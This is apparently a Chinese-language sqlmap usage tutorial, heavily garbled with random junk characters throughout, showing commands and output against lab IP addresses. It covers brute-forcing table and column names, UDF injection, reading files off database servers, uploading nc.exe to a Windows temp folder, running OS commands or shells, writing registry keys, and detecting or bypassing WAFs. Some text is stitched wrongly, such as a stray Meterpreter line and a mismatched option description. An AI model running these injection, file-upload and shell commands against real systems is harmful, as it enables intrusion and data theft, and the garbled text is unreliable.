# T4 D( {! u) I4 S- `. n! b/ ][...]3 ~* r2 C7 g; \: k. j$ d8 Q6 ^
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' 8 X! \$ k" n2 I/ |1 R[hh:mm:14] [INFO] retrieved: foo+ q0 a, N* f. }
SELECT 'foo': 'foo'' E+ `5 C8 V$ Z$ o, N$ r
" _: h+ Z8 C+ f6 s# O
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 23 A D- Z" K4 [) m% U
/ v% ?- }, ]' n4 z0 i1 z
[...] 3 c+ A! p! _0 D i- o- D6 ?[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' & A1 J4 n: k1 F: b v% i+ @[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into ) d* N( z9 g2 p' q. k$ ]% d$ X
distinct queries to be able to retrieve the output even if we are going blind: a. V8 n9 v2 ?0 s1 v+ y
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), ; v' Y( k1 I; _! g: j4 F(CHAR(32))) 8 n2 G6 \0 f7 \! g2 K4 ?" \8 v[hh:mm:50] [INFO] retrieved: foo$ ~% [1 ^9 W" j; |
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds: N! l6 |7 K& {! b# x
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), $ }& k; k) b* B7 }5 s(CHAR(32)))$ A- x ~; y5 `% k) s& C ]; X
[hh:mm:50] [INFO] retrieved: bar , X! p, ?) f0 P4 X[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds 4 h0 O; _0 M% `8 [2 C6 cSELECT 'foo', 'bar': 'foo, bar' - s# i5 l/ g9 Q8 s! W6 Q , m6 y) {1 B9 A8 E( _爆破 - _2 F, U: G& N# G/ E暴力破解表名' o% {3 R1 ~4 ~0 ~5 I
) c% @0 ^- N# s# m
参数:--common-tables : h0 b% B/ C1 ~& l2 v2 b" P0 u) Y6 Y4 {, ~# B$ G
当使用--tables无法获取到数据库的表时,可以使用此参数。3 r+ ?/ y8 b, |/ U! A: |
+ @% }- I- m% U. l1 O6 M
通常是如下情况:( z/ F# Z! C K5 {& ]
6 }9 e( e8 v- B6 y9 S) r1、MySQL数据库版本小于5.0,没有information_schema表。: i& o7 O' s- {: J
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。 # x8 C* ]1 p. a" c" |6 x* G. c5 z3 O& `) p3、当前用户没有权限读取系统中保存数据结构的表的权限。 + k& _- k& B: ~" [8 x# J8 y+ e9 j! n" v4 s2 T) L
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。 7 _) a$ m% I) `6 A ! m {1 f6 L& q, E; ]4 R, B' r2 z, D列举一个MySQL 4.1的例子:1 M% R' v/ [% K' |: W
* H) a5 M( K+ r# u4 y, z$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner g, Q/ E; a. o' \1 p" L& C' T# f6 g; ~6 i& x" ?1 ~. m6 Q
[...] . a4 `8 U8 }$ ]6 C& w0 N[hh:mm:39] [INFO] testing MySQL" K9 k' |: G1 i0 l3 G* i# e5 x
[hh:mm:39] [INFO] confirming MySQL# q8 R' e6 ^$ }( Z9 ]7 N0 I
[hh:mm:40] [INFO] the back-end DBMS is MySQL 8 o8 [- N5 F$ P7 G4 d[hh:mm:40] [INFO] fetching banner& Z ^5 O. ^0 _3 W; H) C
web server operating system: Windows ( C4 T% K+ j7 A7 X. N9 rweb application technology: PHP 5.3.1, Apache 2.2.14% q/ [! S& ^$ i8 I1 p
back-end DBMS operating system: Windows+ u2 J( u: g/ d7 \+ ?
back-end DBMS: MySQL < 5.0.0 ) z, `% n& }: W/ d& sbanner: '4.1.21-community-nt' # n/ G0 p8 ?% n) Q1 @; b. f3 @1 k% w
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'1 j4 r& w4 h/ `5 R6 h L
[hh:mm:40] [INFO] adding words used on web page to the check list" H4 u9 q8 v, ]# E. j
please enter number of threads? [Enter for 1 (current)] 8 7 G2 b! ~- u) {! a' }, @$ |[hh:mm:43] [INFO] retrieved: users' w) I# {4 {0 X6 O
) A- s1 _8 g D- b
Database: testdb - N& d7 j; X Q4 a" r8 r. m; s9 L[1 table]0 ?( @5 `5 l/ u/ h3 ^6 k" }
+-------+: i0 Y( }. g5 M) n7 H3 A: o
| users |) c5 e! s' G2 B8 f6 t! h7 t
+-------+/ `% B4 m7 w7 D" o# ?- H
2 A1 c0 C2 N' I& n+ b5 g/ j n) s! T
暴力破解列名" d3 U$ h" E# S# n1 y
O; J2 x; a, _0 _$ A0 [8 C
参数:--common-columns ) F! O/ d5 f) L( N) v% E$ h5 A % G' j6 K m# J% v* m与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。- R# g4 {! _& d
用户自定义函数注入 " ~! U+ q, J C7 H3 i$ n: j ' ^# O4 O0 Y& q+ B9 I参数:--udf-inject,--shared-lib / ?: u0 c; k% w4 n5 O7 u) B ( x8 q. F' k; L你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。 ; U) I1 O |. ]" h2 ]/ n* ?系统文件操作4 G4 k5 u# a( @* x, R$ w* U) t1 q
从数据库服务器中读取文件 * W" e1 \# ]" P0 j+ U# V / \4 m0 @2 w' I8 ~参数:--file-read 6 ?4 e. P1 \/ c2 W 3 Q2 w# i2 @* b# d( o9 }2 P当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。 + M) k; `3 _. A: f! l+ Z( ~* a8 E9 g& Z# U. ^
列举一个Microsoft SQL Server 2005的例子: ; p0 A# x% A# Q; F% n* A. S3 W1 Q o/ N0 D, z% | W6 P
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ ! W% |0 g0 i7 ^7 m+ H--file-read "C:/example.exe" -v 1* R8 t3 [ V! Z2 N
% w! Q4 e0 _- _[...]; o) v4 l/ o4 W/ Q
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server ) K# M! K" Z8 H1 {" wweb server operating system: Windows 20008 k1 h0 e. {0 [7 b5 ]( m% i0 _
web application technology: ASP.NET, Microsoft IIS 6.0, ASP * q8 C) H. U* c7 x; e# E aback-end DBMS: Microsoft SQL Server 2005 2 _( P0 s( e! f$ K2 X$ Q, x 1 U7 T/ `& H, D5 _[hh:mm:50] [INFO] fetching file: 'C:/example.exe' : _6 Y b0 Q A. f- w& ?' p5 m, }[hh:mm:50] [INFO] the SQL query provided returns 3 entries % J% O8 d- D1 a& U# x% tC:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' ^; w& j7 j. ]: b+ s1 p
[...]$ @5 K& z& C; k# Z2 E2 N
) ?; k6 T" v' {4 t, g: T2 R$ ls -l output/192.168.136.129/files/C__example.exe & B7 S8 e; A I p) M# D! Z
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe- M# P L" y1 P8 P( }9 T2 p9 R
4 D+ P$ q/ Z9 @( e# T; s4 x& g
$ file output/192.168.136.129/files/C__example.exe 4 J7 S0 U. i3 @8 X
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel9 |. u5 I7 n' J$ [' v V& Z( x& j
80386 32-bit 1 ^' H3 C0 d2 T' C7 w7 L7 v; i- F7 C4 Q
把文件上传到数据库服务器中 0 c! G- n1 r. x6 U& o$ Z& _$ E, q0 [5 y
参数:--file-write,--file-dest ( r& C, F+ S A- `3 L7 p e+ I8 m' N2 a( z; v N6 U
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 5 T; n6 Q% q: X- a1 p0 \ % w, X4 j& K$ u2 m; I! ^8 c列举一个MySQL的例子: ' v4 m5 t6 Y: x1 B ^$ B/ H( q5 g$ file /software/nc.exe.packed * `; K: h0 T* Z$ Q' L9 y/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit& Q6 t, J8 Y% [
$ f R) P/ h7 H. T9 h2 I
$ ls -l /software/nc.exe.packed( Y3 q3 ]% Y' Q0 @: z1 N5 G
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed! Z& }7 C# g1 ]; B2 k+ |. N
- U x! ~$ E4 B% v; \$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ & G/ G1 Y0 b8 U* n"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 ! X y- o" x! y9 a 8 Q9 M' Z1 }& P$ R[...]& l: p' G" q: _) F7 n! }/ m/ B, F
[hh:mm:29] [INFO] the back-end DBMS is MySQL ) b( W4 {) I, rweb server operating system: Windows 2003 or 2008 : [; x* M* m% N$ C Wweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.507277 q6 \6 V( `$ \5 J# L; ?0 N
back-end DBMS: MySQL >= 5.0.0 m6 S4 K6 B4 U) \
8 _% q- p" G! S+ Y[...] / a2 r5 d' L' ~, edo you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully ' n; Y* v; W; B
written on the back-end DBMS file system? [Y/n] y , p% F( V2 M! `[hh:mm:52] [INFO] retrieved: 31744& P& E% y! A- {& s( B$ x
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, / L' Z/ w [' G' @5 M. ?* ]: t
same size as the local file '/software/nc.exe.packed' 1 ^/ i* y" ~) p$ i# S% Y7 y9 C) [& E4 h b7 C. S
运行任意操作系统命令' _7 H3 `3 w6 D! f" B0 j
. G; G) t. }0 ~/ S' B0 V8 W参数:--os-cmd,--os-shell + C* P. x: G0 T # J% {# N/ R* G `9 i \4 p当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。 ' P- i s6 U8 R7 x, h" i x& ^6 Q% p5 [/ G; k2 K
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。6 Z* c, Q2 }5 F) x# }
Meterpreter session 1 closed. Reason: User exit9 \# ?3 l3 ^3 e6 m( g
2 D6 @, u% u8 k0 Q- H
默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。% O8 e# c# |$ H G' k a
: @+ R" L" `. A
& T$ K" m4 f' m( A' v+ a4 u* s
* Z J" K) G& d+ |7 p对Windows注册表操作 4 Q* O0 u, Y" h+ g$ o8 G3 o) \$ n" E% k1 C
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。 # T: J. i( y, U/ y2 W$ h+ c3 h1 E, e/ `( b+ z7 I( B& D
读取注册表值& n8 Y# _9 }( o2 D
$ E0 B! C" h* v4 p2 @参数:--reg-read, F0 m. ~% V; A% l5 O& V
写入注册表值 " ~9 P/ z6 m3 B: j( `: h# u/ p+ S, ?% Q3 a7 e6 e
参数:--reg-add6 u3 q, r) o6 H6 k. W. H) D4 ]
删除注册表值8 z) t. [3 o+ K9 L# y
; f$ k) g X+ V# o8 s4 l$ b; D
参数:--reg-del $ z& t l# {$ `* b& M `# F) G注册表辅助选项" R( p' R; M7 p# c/ g- w
% K8 R" i; o5 A- w9 ^4 h
参数:--reg-key,--reg-value,--reg-data,--reg-type 7 R6 E6 a' R: b0 Y f( j/ ]* A% C8 y$ Q5 E; H! V
需要配合之前三个参数使用,例子: / P5 I1 j( b' n) P' @ # k q# z5 `5 t+ ]$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1; ~5 r8 S& z2 r1 n% _" F2 z
! J) t# r1 T: f( G5 r
常规参数; L8 t/ U) L! g& K" z$ h) M6 @
从sqlite中读取session 2 o* r; K7 ~3 m4 W " W4 [2 p4 Z/ X; q6 c参数:-s0 |- k2 E. e0 P
W0 F+ p! ~" F) M8 [sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。0 a8 p$ g, |* n
保存HTTP(S)日志 : S% M' u2 d4 b& Q; m+ A M! O4 V' L/ H9 Q0 P3 x
参数:-t- P7 I, U/ p! _$ e' a& B9 D" v" _
: u+ n5 I: q9 N/ D' J
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。/ e1 B9 _* o8 o8 y
非交互模式 ) D& m2 y4 w. _, M5 L. u2 s; ^& Z; I7 R; a, g7 `5 S3 Q4 m
参数:--batch 5 }- H# _7 n* ?" ~% ~9 M3 f" D; `- B4 v. F
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。7 B4 X! O t9 A1 z$ z9 V
强制使用字符编码2 H; c% W; c* u" _
; x' k' ?0 D+ Y% `参数:--charset. D9 a" {7 y/ a9 b
$ t& l) M2 C1 e X/ X
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:" l9 F0 a6 o$ d5 X* g
- D: n% J- P6 G* m+ n3 F& m% `" I8 `7 w" m* Z
--charset=GBK! L* ]- z$ c0 k: Z0 @
- ?5 y3 d4 }6 e爬行网站URL 1 o' i( W% P% Z: n* `. i 5 E% l$ X7 Q" t0 ~参数:--crawl ' j# C5 \2 \, d9 Z/ z# K " f" ^" F6 f) ?2 @( M/ M$ \sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。 / w1 A1 E4 P' i9 p3 K1 E5 S k: ~2 o! k2 o+ E6 g例子: 3 w- U7 o" S5 ^8 k: J" R( z( O8 z6 Z" R
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3) L) R, b5 _* j7 g, c3 p/ r
[...] # a& R9 S0 Y$ B- L3 q' ?# }5 i[xx:xx:53] [INFO] starting crawler u8 P: r( a" e$ m
[xx:xx:53] [INFO] searching for links with depth 1 # U/ u( {5 [9 Z, R' U U, h s[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while $ f5 Z6 z! k5 t$ g# Q' J0 m8 d[xx:xx:53] [INFO] searching for links with depth 2 9 E* Y# K1 ]$ b4 b0 U[xx:xx:54] [INFO] heuristics detected web page charset 'ascii' 0 P* D# N* t; r& D) d3 U* x d[xx:xx:00] [INFO] 42/56 links visited (75%), N6 l4 q. N* Q9 }; ?" [
[...]6 h& a: R6 t) x
' [9 e1 \, S$ W5 o
规定输出到CSV中的分隔符 ' A. [7 `1 I0 |8 C3 _& ]/ C( t4 y$ g! y2 ^, V$ q# P6 u2 C
参数:--csv-del* P9 J* u1 A5 X) {
2 K: H0 l' i. O0 m; ]2 C
当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:0 t2 v5 w! c) L2 J. Q+ F2 l4 [6 B
P1 i$ J1 I4 R0 E! D# p+ `# G--csv-del=";"3 M- _+ }* {3 _+ {) g
* J1 _5 B# s# }% O* }
DBMS身份验证4 P9 P. E: n( {5 [* z8 b, i
. k. `) M M! D$ ]4 d
参数:--dbms-cred7 A+ D# W/ _. l
8 K# T6 T; I# }
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数: _7 ] L5 t: l8 I: o
定义dump数据的格式 1 ]+ q& J' p. j: ~! V : R V7 m0 K3 N2 ?5 C参数:--dump-format . ~& ~+ J% m1 h: B7 G 8 ^3 h7 N: o1 j输出的格式可定义为:CSV,HTML,SQLITE) }9 z2 W+ J& `8 v
预估完成时间, a+ g T& x; P5 n5 R& N) V
9 `) s9 H" t9 y7 k6 O参数:--eta 1 y% m& X. } P! L" S- b% T! L6 y; q: ]5 q' W
可以计算注入数据的剩余时间。 & S7 S H9 B9 z i3 A: \# H% ^, @# v, h- a' O8 ]3 f) R2 t |$ u/ Z
例如Oracle的布尔型盲注:, q' D( a* g- a* M
$ |+ P0 H% j' b
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta " l9 g; H8 o; J/ Q6 I3 ^: `% W% ~3 \# d g; c, K- H9 x
[...]; [, X/ S$ j7 N; v
[hh:mm:01] [INFO] the back-end DBMS is Oracle8 P1 [2 B' L0 V* D+ v4 ]
[hh:mm:01] [INFO] fetching banner+ C! L& V1 @2 ~
[hh:mm:01] [INFO] retrieving the length of query output$ ]/ k4 y8 ^" s0 J6 U- w& W
[hh:mm:01] [INFO] retrieved: 64 # n+ Q% P: O/ ]. B, F: E, }' a17% [========> ] 11/64 ETA 00:19 5 W) w1 Q. n% A! j* D( o 6 o2 W/ T I5 Y/ Y5 h然后: 4 Z. g1 E+ }1 q& O5 h. V( A ~3 R, V- \
100% [===================================================] 64/64 6 E. h0 _: N i. A% O# U/ G[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod ) [0 t/ _$ r, c' `5 Y3 n& i9 t# c) T0 m. u0 D1 S
web application technology: PHP 5.2.6, Apache 2.2.9 F7 ~" o7 N) m9 }' cback-end DBMS: Oracle2 a7 B0 ^7 d: R% X4 p
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod' # s0 T5 f2 U# r8 B. | 4 T/ v4 Y7 m1 q5 m1 d+ h* Ksqlmap先输出长度,预计完成时间,显示百分比,输出字符7 o# \& g2 s2 o! r) H5 X3 q6 D* Z
刷新session文件 - q7 C' W- w( U5 p# o' T5 M: C8 h0 b! u; {
参数:--flush-session* D9 W* A: G4 G0 j: J7 u
7 L+ r; {2 b; N5 E: m如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。; t) t G7 R8 |, [
自动获取form表单测试* s9 m4 t- H2 a0 V/ q5 ]* p5 y
2 x8 K) C8 p. w/ |6 b# P
参数:--forms. g4 c* x1 C ]1 `3 o
7 O4 A3 \ b- {: ~
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。 0 W5 m7 U- p! j忽略在会话文件中存储的查询结果( W7 ^' m/ y! C" F+ E
2 c( q, y9 w0 k参数:--fresh-queries - |, t. `1 ? E/ f . o# `! y+ \0 }+ x忽略session文件保存的查询,重新查询。$ Z l2 I5 n4 s. c" B
使用DBMS的hex函数, S+ @1 l' M% `+ |
6 q5 s! @; X' j7 @. `$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 5 `3 T3 Z+ t; W1 h" C8 e5 A 0 R% u; X; d) L) `" J1 `' X/ `[...]" n+ T {, Z. m* j: a3 }. g4 j
[xx:xx:14] [INFO] fetching banner ' R& l. I; C0 B9 C E[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)5 p2 I: E$ H( u# M) o( Z: }
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'6 q. U6 L8 s2 b( B9 [1 B; P) r
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by6 F8 N0 Z( o2 l2 d; F
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 $ j: f( D6 {- i3 [! Z4 |/ j# i[...] & v) A6 Y% C0 `" D `1 q1 v' h. G- @/ T' o+ T3 s& M1 x2 n
自定义输出的路径 & U; N; \! s/ x8 ^) U2 A6 y% @5 C( K- `7 {% O; C
参数:--output-dir ' c" S& U, A1 i; ?1 A8 T1 d* O! y) @- c) i0 T* ^! P& e2 s
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp 9 _8 ^) F: T- t; v从响应中获取DBMS的错误信息, }3 t7 M8 m& ^1 B" b. a
# @% L9 p% ^) X8 @
参数:--parse-errors - c7 T: @! U. l+ Z! q8 V! i" x4 \1 |+ L( }2 d+ H" @# }$ c
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 {0 Y: U& @/ _0 M$ x
3 c) Y9 D! I$ Y0 t
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors- `) ?; a4 [! m
[...]3 Y1 S& R* R: k% \/ @
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test & |' Y+ V' u4 Q: G[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)% V7 W, Q+ g {* |+ \
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. ' j6 k3 S8 ^# W0 l6 N, E9 p' b<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' f! s% v9 b; T' N* E7 c* t
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)0 E1 h( |. s7 X& @% Q
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.$ B5 j9 s! }' J( N* _% p* }' N+ @
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' a' E( G. Q& ?; U1 g: l
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)2 H2 l6 S) i! `+ @/ L8 f9 U7 `
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. 4 l# ^$ R* D& t) U8 ~<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 3 i. ~ u+ [4 L; w[11:12:17] [INFO] target URL appears to have 3 columns in query& v0 y" O3 w) f4 }. I; ?; n
[...]+ ]' ^5 b9 z4 |8 {2 @) M. j
1 n+ k) n5 T3 \7 P其他的一些参数9 a' w8 _. v" a5 w, ]% X& S" {
使用参数缩写 l7 c7 q. f4 V' D5 A' `0 J, H# L. x( s
参数:-z ) y8 |& a( k# V% b* f / s* u1 ^5 _- r! t$ f# N* A# {; \有使用参数太长太复杂,可以使用缩写模式。 例如: 2 d2 |* D: t! C+ S' }! O# v * t7 _9 A8 E- bpython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" 9 M h- n. }$ }* q
. X3 ^0 @2 R3 a! ?$ Y1 C4 {3 ?8 U
可以写成: " B# Z# s% l% \ x* p: j" Q& W$ f1 ]8 r. F) k, p
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" . `* l0 h$ w* `, ^8 t7 {: j4 W/ r' M" a. i
还有: ! H* g- v2 Q4 }3 y: E! @. j/ q) f( T; C
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" ; j# v1 @3 r1 e g% \9 x6 ?8 q, ~7 v可以写成:* D; y/ n" m! G: }$ T4 ]
0 R5 P" u7 Z* \) lpython sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"+ k l7 ]" H* i
4 h: m. b+ ^: f( f% q. X1 Y+ c% e
成功SQL注入时警告 0 @6 z' ~9 z: f. m! x* A
( O R! y7 ^1 u7 a: P参数:--alert 5 m8 Y# J" m& D$ ?设定会发的答案+ H( m* ^1 X& I, \3 ^( P
0 P& e X" U: J N! b; n参数:--answers " r, O" L2 p$ Y) M4 Z : |3 c- F& a3 \! w7 G; B: i) l( h当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子: , \1 M& Z1 A% v7 g! ?9 ?. I3 ], L# [4 W ) T( N/ W; {7 j5 W, O$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch : r( K9 R) c( m! _1 u. [+ R1 n p7 q2 n" z[...]3 o+ [% y" b: A% ?: v. P7 E9 r
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' # {+ ]" K- {! Q* V$ H' Q2 Y3 pheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y% X" Z! w. t7 P. @& O; t
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N8 g( h/ m9 ~0 r+ V: f' o' d
[...]1 c, p. I. `; d8 ^6 o/ [
+ D4 I2 O. E1 N) K7 F' B: g2 A
发现SQL注入时发出蜂鸣声8 G: T1 `! l) ~4 o
" }, b4 T8 `7 h3 a- w
参数:--beep; ~! p; W' r1 w. u% `; X
J7 z: j$ B9 a7 Y7 X/ h
发现sql注入时,发出蜂鸣声。 $ V! h; c+ K8 d& N+ \' c2 O启发式检测WAF/IPS/IDS保护5 w3 W3 Z! D5 U6 w0 Y$ t
, o; [( }5 c( p3 Z1 V1 i
参数:--check-waf Q1 E+ A# i( \3 h3 R7 W! B( j
' K3 @6 w& e( h) e R( Vsqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。$ ~: ^0 l* T) O1 }$ D
使用指定的Google结果页面& C$ I( _* l) g3 ]
5 v3 h3 q0 z, U, }9 n) M. c
参数:--gpage! l3 U, K6 E# S6 Z" a; L3 s" T
" s( }0 A+ T( |3 t- l
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。 7 Z# Z v" Z* E2 v8 y5 t使用HTTP参数污染 ) ^ [9 \( o' c, A( I 8 O. E, C+ S/ W( Y* l参数:-hpp $ l$ @9 k1 M" u+ S3 }9 ?/ E. h$ ]$ }. G' r
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。& a% ]# o% m3 e( R
测试WAF/IPS/IDS保护 * i; H6 G W7 k" ?; q * V4 ]" h7 ?3 A参数:--identify-waf ! `% M# j$ M- R; h0 i) ~- g" f5 i
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。! Q2 \" A7 M6 p
" B0 H6 {9 C7 V& ~, d# T例如对一个受到ModSecurity WAF保护的MySQL例子:/ c+ X. g% t0 `9 K, a* Q8 ~: t
4 K5 }0 _) ]5 S" ]$ `1 s X" }
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 38 @' l( Q( \0 E$ e0 x5 c6 U
[...] ( z8 q4 ~" @: M D/ s. A) t1 A[xx:xx:23] [INFO] testing connection to the target URL: _8 N8 W# s4 x1 L8 O, U
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii': ~, _8 t/ `4 u8 G6 [; b
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection H" S/ e7 Z6 l% M, S& k
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'0 X9 K, _+ [/ T
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'4 T6 e, j p/ W8 G; m& Y: S. N; K
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'- V ]( ~' b& R0 ?- d/ `4 s. i1 R9 [
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)': M) D8 ]8 L+ N+ n2 }
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'6 Z: {4 b1 M+ P6 F
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'" p1 k1 S+ e+ @2 l+ ^
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)' : t8 A, V+ O( N) q) g3 Y[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'4 D: C) |! C5 d& M
